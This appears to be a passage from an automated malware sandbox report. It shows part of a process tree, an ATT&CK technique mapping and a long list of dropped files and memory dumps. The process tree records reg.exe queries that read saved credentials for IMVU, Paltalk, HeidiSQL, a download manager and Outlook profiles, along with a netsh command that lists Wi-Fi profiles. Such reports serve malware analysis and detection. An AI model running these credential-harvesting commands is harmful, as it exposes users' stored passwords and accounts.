cmd.exe
2⤵
PID:4680

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\Software\Beyluxe Messenger" /reg:64
3⤵
PID:2856

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\Software\Beyluxe Messenger" /reg:32
3⤵
PID:2552

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:820

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\Software\IMVU\username" /reg:64
3⤵
PID:1404

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\Software\IMVU\username" /reg:32
3⤵
PID:1204

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4116

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\Software\IMVU\password" /reg:64
3⤵
PID:4900

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\Software\IMVU\password" /reg:32
3⤵
PID:1764

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:2104

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\Software\A.V.M.\Paltalk NG\common_settings\core\users\creds" /reg:64
3⤵
PID:3240

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\Software\A.V.M.\Paltalk NG\common_settings\core\users\creds" /reg:32
3⤵
PID:3612

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:5032

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\Software\DownloadManager\Passwords" /reg:64
3⤵
PID:4968

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\Software\DownloadManager\Passwords" /reg:32
3⤵
PID:5052

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:2884

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\Software\HeidiSQL\Servers" /reg:64
3⤵
PID:3424

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\Software\HeidiSQL\Servers" /reg:32
3⤵
PID:4568

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4640

C:\Windows\system32\netsh.exe
netsh wlan show profiles
3⤵
PID:4512

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4864

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676" /reg:64
3⤵
PID:4788

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676" /reg:32
3⤵
PID:756

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:5008

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676" /reg:64
3⤵
PID:4964

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676" /reg:32
3⤵
PID:5084

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4112

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676" /reg:64
3⤵
PID:5092

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676" /reg:32
3⤵
PID:4280

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4228

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676" /reg:64
3⤵
PID:3188

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676" /reg:32
3⤵
PID:2820

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Hidden Files and Directories

T1158

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Disabling Security Tools

T1089

Hidden Files and Directories

T1158

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\.ntusernt.ini

Download Submit
C:\Users\Admin\roBcX\Desktop.ini

Download Submit
C:\Users\Admin\roBcX\xvPwc.class

Download Submit
\Users\Admin\AppData\Local\Temp\orLEzOhtZF2990571813793815142.xml

Download Submit
\Users\Admin\AppData\Local\Temp\sqlite-unknown-6d39602c-012a-4de3-9823-928f0b7edebd-sqlitejdbc.dll

Download Submit
memory/408-77-0x0000000000000000-mapping.dmp

Download
memory/484-207-0x0000000000000000-mapping.dmp

Download
memory/484-47-0x0000000000000000-mapping.dmp

Download
memory/484-246-0x0000000000000000-mapping.dmp

Download
memory/496-223-0x0000000000000000-mapping.dmp

Download
memory/564-41-0x0000000000000000-mapping.dmp

Download
memory/648-64-0x0000000000000000-mapping.dmp

Download
memory/656-100-0x0000000000000000-mapping.dmp

Download
memory/676-73-0x0000000000000000-mapping.dmp

Download
memory/756-278-0x0000000000000000-mapping.dmp

Download
memory/760-226-0x0000000000000000-mapping.dmp

Download
memory/764-112-0x0000000000000000-mapping.dmp

Download
memory/808-43-0x0000000000000000-mapping.dmp

Download
memory/820-78-0x0000000000000000-mapping.dmp

Download
memory/820-259-0x0000000000000000-mapping.dmp

Download
memory/820-129-0x0000000000000000-mapping.dmp

Download
memory/860-99-0x0000000000000000-mapping.dmp

Download
memory/868-66-0x0000000000000000-mapping.dmp

Download
memory/908-121-0x0000000000000000-mapping.dmp

Download
memory/1008-46-0x0000000000000000-mapping.dmp

Download
memory/1012-176-0x0000000000000000-mapping.dmp

Download
memory/1132-68-0x0000000000000000-mapping.dmp

Download
memory/1132-110-0x0000000000000000-mapping.dmp

Download
memory/1132-101-0x0000000000000000-mapping.dmp

Download
memory/1136-48-0x0000000000000000-mapping.dmp

Download
memory/1140-218-0x0000000000000000-mapping.dmp

Download
memory/1168-113-0x0000000000000000-mapping.dmp

Download
memory/1188-219-0x0000000000000000-mapping.dmp

Download
memory/1196-83-0x0000000000000000-mapping.dmp

Download
memory/1204-261-0x0000000000000000-mapping.dmp

Download
memory/1356-49-0x0000000000000000-mapping.dmp

Download
memory/1404-260-0x0000000000000000-mapping.dmp

Download
memory/1440-76-0x0000000000000000-mapping.dmp

Download
memory/1444-111-0x0000000000000000-mapping.dmp

Download
memory/1444-235-0x0000000000000000-mapping.dmp

Download
memory/1448-69-0x0000000000000000-mapping.dmp

Download
memory/1468-245-0x0000000000000000-mapping.dmp

Download
memory/1468-50-0x0000000000000000-mapping.dmp

Download
memory/1500-108-0x0000000000000000-mapping.dmp

Download
memory/1528-106-0x0000000000000000-mapping.dmp

Download
memory/1528-98-0x0000000000000000-mapping.dmp

Download
memory/1604-213-0x0000000000000000-mapping.dmp

Download
memory/1652-96-0x0000000000000000-mapping.dmp

Download
memory/1656-224-0x0000000000000000-mapping.dmp

Download
memory/1716-79-0x0000000000000000-mapping.dmp

Download
memory/1716-118-0x0000000000000000-mapping.dmp

Download
memory/1744-54-0x0000000000000000-mapping.dmp

Download
memory/1756-119-0x0000000000000000-mapping.dmp

Download
memory/1756-231-0x0000000000000000-mapping.dmp

Download
memory/1760-95-0x0000000000000000-mapping.dmp

Download
memory/1764-264-0x0000000000000000-mapping.dmp

Download
memory/1776-228-0x0000000000000000-mapping.dmp

Download
memory/1944-125-0x0000000000000000-mapping.dmp

Download
memory/1944-67-0x0000000000000000-mapping.dmp

Download
memory/1976-97-0x0000000000000000-mapping.dmp

Download
memory/1988-81-0x0000000000000000-mapping.dmp

Download
memory/2052-107-0x0000000000000000-mapping.dmp

Download
memory/2064-61-0x0000000000000000-mapping.dmp

Download
memory/2104-265-0x0000000000000000-mapping.dmp

Download
memory/2204-227-0x0000000000000000-mapping.dmp

Download
memory/2292-62-0x0000000000000000-mapping.dmp

Download
memory/2292-36-0x0000000000000000-mapping.dmp

Download
memory/2416-120-0x0000000000000000-mapping.dmp

Download
memory/2488-211-0x0000000000000000-mapping.dmp

Download
memory/2516-105-0x0000000000000000-mapping.dmp

Download
memory/2516-80-0x0000000000000000-mapping.dmp

Download
memory/2544-34-0x0000000000000000-mapping.dmp

Download
memory/2552-258-0x0000000000000000-mapping.dmp

Download
memory/2724-116-0x0000000000000000-mapping.dmp

Download
memory/2728-57-0x0000000000000000-mapping.dmp

Download
memory/2728-236-0x0000000000000000-mapping.dmp

Download
memory/2736-122-0x0000000000000000-mapping.dmp

Download
memory/2736-251-0x0000000000000000-mapping.dmp

Download
memory/2736-124-0x0000000000000000-mapping.dmp

Download
memory/2736-127-0x0000000000000000-mapping.dmp

Download
memory/2736-117-0x0000000000000000-mapping.dmp

Download
memory/2812-56-0x0000000000000000-mapping.dmp

Download
memory/2812-248-0x0000000000000000-mapping.dmp

Download
memory/2812-114-0x0000000000000000-mapping.dmp

Download
memory/2820-287-0x0000000000000000-mapping.dmp

Download
memory/2856-257-0x0000000000000000-mapping.dmp

Download
memory/2856-109-0x0000000000000000-mapping.dmp

Download
memory/2860-58-0x0000000000000000-mapping.dmp

Download
memory/2880-59-0x0000000000000000-mapping.dmp

Download
memory/2884-271-0x0000000000000000-mapping.dmp

Download
memory/2884-85-0x0000000000000000-mapping.dmp

Download
memory/2908-103-0x0000000000000000-mapping.dmp

Download
memory/3004-214-0x0000000000000000-mapping.dmp

Download
memory/3016-247-0x0000000000000000-mapping.dmp

Download
memory/3016-60-0x0000000000000000-mapping.dmp

Download
memory/3020-91-0x0000000000000000-mapping.dmp

Download
memory/3048-123-0x0000000000000000-mapping.dmp

Download
memory/3060-215-0x0000000000000000-mapping.dmp

Download
memory/3068-37-0x0000000000000000-mapping.dmp

Download
memory/3084-82-0x0000000000000000-mapping.dmp

Download
memory/3188-286-0x0000000000000000-mapping.dmp

Download
memory/3240-266-0x0000000000000000-mapping.dmp

Download
memory/3424-272-0x0000000000000000-mapping.dmp

Download
memory/3492-115-0x0000000000000000-mapping.dmp

Download
memory/3516-126-0x0000000000000000-mapping.dmp

Download
memory/3516-104-0x0000000000000000-mapping.dmp

Download
memory/3536-102-0x0000000000000000-mapping.dmp

Download
memory/3536-75-0x0000000000000000-mapping.dmp

Download
memory/3536-225-0x0000000000000000-mapping.dmp

Download
memory/3612-267-0x0000000000000000-mapping.dmp

Download
memory/3612-90-0x0000000000000000-mapping.dmp

Download
memory/3620-74-0x0000000000000000-mapping.dmp

Download
memory/3668-130-0x0000000000000000-mapping.dmp

Download
memory/3668-196-0x0000000000000000-mapping.dmp

Download
memory/3668-72-0x0000000000000000-mapping.dmp

Download
memory/3684-203-0x0000000000000000-mapping.dmp

Download
memory/3768-234-0x0000000000000000-mapping.dmp

Download
memory/3784-38-0x0000000000000000-mapping.dmp

Download
memory/3824-217-0x0000000000000000-mapping.dmp

Download
memory/3844-177-0x0000000000000000-mapping.dmp

Download
memory/3844-70-0x0000000000000000-mapping.dmp

Download
memory/3848-63-0x0000000000000000-mapping.dmp

Download
memory/3908-71-0x0000000000000000-mapping.dmp

Download
memory/3912-253-0x0000000000000000-mapping.dmp

Download
memory/3920-178-0x0000000000000000-mapping.dmp

Download
memory/3940-220-0x0000000000000000-mapping.dmp

Download
memory/3984-35-0x0000000000000000-mapping.dmp

Download
memory/3992-45-0x0000000000000000-mapping.dmp

Download
memory/4008-92-0x0000000000000000-mapping.dmp

Download
memory/4008-254-0x0000000000000000-mapping.dmp

Download
memory/4024-128-0x0000000000000000-mapping.dmp

Download
memory/4100-242-0x0000000000000000-mapping.dmp

Download
memory/4112-282-0x0000000000000000-mapping.dmp

Download
memory/4112-169-0x0000000000000000-mapping.dmp

Download
memory/4116-131-0x0000000000000000-mapping.dmp

Download
memory/4116-262-0x0000000000000000-mapping.dmp

Download
memory/4116-170-0x0000000000000000-mapping.dmp

Download
memory/4136-132-0x0000000000000000-mapping.dmp

Download
memory/4136-229-0x0000000000000000-mapping.dmp

Download
memory/4152-197-0x0000000000000000-mapping.dmp

Download
memory/4172-133-0x0000000000000000-mapping.dmp

Download
memory/4192-134-0x0000000000000000-mapping.dmp

Download
memory/4212-135-0x0000000000000000-mapping.dmp

Download
memory/4220-171-0x0000000000000000-mapping.dmp

Download
memory/4228-285-0x0000000000000000-mapping.dmp

Download
memory/4252-136-0x0000000000000000-mapping.dmp

Download
memory/4252-200-0x0000000000000000-mapping.dmp

Download
memory/4264-172-0x0000000000000000-mapping.dmp

Download
memory/4272-137-0x0000000000000000-mapping.dmp

Download
memory/4280-284-0x0000000000000000-mapping.dmp

Download
memory/4284-173-0x0000000000000000-mapping.dmp

Download
memory/4292-138-0x0000000000000000-mapping.dmp

Download
memory/4320-222-0x0000000000000000-mapping.dmp

Download
memory/4324-249-0x0000000000000000-mapping.dmp

Download
memory/4328-174-0x0000000000000000-mapping.dmp

Download
memory/4328-139-0x0000000000000000-mapping.dmp

Download
memory/4348-140-0x0000000000000000-mapping.dmp

Download
memory/4352-201-0x0000000000000000-mapping.dmp

Download
memory/4364-141-0x0000000000000000-mapping.dmp

Download
memory/4372-202-0x0000000000000000-mapping.dmp

Download
memory/4380-175-0x0000000000000000-mapping.dmp

Download
memory/4396-216-0x0000000000000000-mapping.dmp

Download
memory/4400-204-0x0000000000000000-mapping.dmp

Download
memory/4400-142-0x0000000000000000-mapping.dmp

Download
memory/4412-252-0x0000000000000000-mapping.dmp

Download
memory/4424-143-0x0000000000000000-mapping.dmp

Download
memory/4440-179-0x0000000000000000-mapping.dmp

Download
memory/4444-230-0x0000000000000000-mapping.dmp

Download
memory/4444-144-0x0000000000000000-mapping.dmp

Download
memory/4460-244-0x0000000000000000-mapping.dmp

Download
memory/4468-255-0x0000000000000000-mapping.dmp

Download
memory/4480-145-0x0000000000000000-mapping.dmp

Download
memory/4500-146-0x0000000000000000-mapping.dmp

Download
memory/4508-180-0x0000000000000000-mapping.dmp

Download
memory/4512-275-0x0000000000000000-mapping.dmp

Download
memory/4520-147-0x0000000000000000-mapping.dmp

Download
memory/4524-205-0x0000000000000000-mapping.dmp

Download
memory/4540-183-0x0000000000000000-mapping.dmp

Download
memory/4544-181-0x0000000000000000-mapping.dmp

Download
memory/4556-148-0x0000000000000000-mapping.dmp

Download
memory/4560-208-0x0000000000000000-mapping.dmp

Download
memory/4568-237-0x0000000000000000-mapping.dmp

Download
memory/4568-273-0x0000000000000000-mapping.dmp

Download
memory/4604-182-0x0000000000000000-mapping.dmp

Download
memory/4608-209-0x0000000000000000-mapping.dmp

Download
memory/4612-149-0x0000000000000000-mapping.dmp

Download
memory/4620-206-0x0000000000000000-mapping.dmp

Download
memory/4624-184-0x0000000000000000-mapping.dmp

Download
memory/4628-238-0x0000000000000000-mapping.dmp

Download
memory/4632-150-0x0000000000000000-mapping.dmp

Download
memory/4640-274-0x0000000000000000-mapping.dmp

Download
memory/4648-185-0x0000000000000000-mapping.dmp

Download
memory/4652-151-0x0000000000000000-mapping.dmp

Download
memory/4680-256-0x0000000000000000-mapping.dmp

Download
memory/4688-152-0x0000000000000000-mapping.dmp

Download
memory/4708-153-0x0000000000000000-mapping.dmp

Download
memory/4708-187-0x0000000000000000-mapping.dmp

Download
memory/4716-239-0x0000000000000000-mapping.dmp

Download
memory/4716-186-0x0000000000000000-mapping.dmp

Download
memory/4728-154-0x0000000000000000-mapping.dmp

Download
memory/4752-233-0x0000000000000000-mapping.dmp

Download
memory/4760-250-0x0000000000000000-mapping.dmp

Download
memory/4764-155-0x0000000000000000-mapping.dmp

Download
memory/4776-188-0x0000000000000000-mapping.dmp

Download
memory/4784-156-0x0000000000000000-mapping.dmp

Download
memory/4788-277-0x0000000000000000-mapping.dmp

Download
memory/4804-157-0x0000000000000000-mapping.dmp

Download
memory/4820-189-0x0000000000000000-mapping.dmp

Download
memory/4840-158-0x0000000000000000-mapping.dmp

Download
memory/4860-191-0x0000000000000000-mapping.dmp

Download
memory/4860-159-0x0000000000000000-mapping.dmp

Download
memory/4864-276-0x0000000000000000-mapping.dmp

Download
memory/4868-190-0x0000000000000000-mapping.dmp

Download
memory/4872-240-0x0000000000000000-mapping.dmp

Download
memory/4880-160-0x0000000000000000-mapping.dmp

Download
memory/4900-263-0x0000000000000000-mapping.dmp

Download
memory/4900-232-0x0000000000000000-mapping.dmp

Download
memory/4912-212-0x0000000000000000-mapping.dmp

Download
memory/4916-161-0x0000000000000000-mapping.dmp

Download
memory/4936-162-0x0000000000000000-mapping.dmp

Download
memory/4940-192-0x0000000000000000-mapping.dmp

Download
memory/4956-163-0x0000000000000000-mapping.dmp

Download
memory/4960-210-0x0000000000000000-mapping.dmp

Download
memory/4964-280-0x0000000000000000-mapping.dmp

Download
memory/4968-269-0x0000000000000000-mapping.dmp

Download
memory/4972-193-0x0000000000000000-mapping.dmp

Download
memory/4984-221-0x0000000000000000-mapping.dmp

Download
memory/4992-164-0x0000000000000000-mapping.dmp

Download
memory/5008-279-0x0000000000000000-mapping.dmp

Download
memory/5012-165-0x0000000000000000-mapping.dmp

Download
memory/5020-194-0x0000000000000000-mapping.dmp

Download
memory/5024-241-0x0000000000000000-mapping.dmp

Download
memory/5032-166-0x0000000000000000-mapping.dmp

Download
memory/5032-268-0x0000000000000000-mapping.dmp

Download
memory/5052-270-0x0000000000000000-mapping.dmp

Download
memory/5068-167-0x0000000000000000-mapping.dmp

Download
memory/5080-168-0x0000000000000000-mapping.dmp

Download
memory/5084-281-0x0000000000000000-mapping.dmp

Download
memory/5092-283-0x0000000000000000-mapping.dmp

Download
memory/5096-195-0x0000000000000000-mapping.dmp

Download
memory/5104-199-0x0000000000000000-mapping.dmp

Download
memory/5108-198-0x0000000000000000-mapping.dmp

Download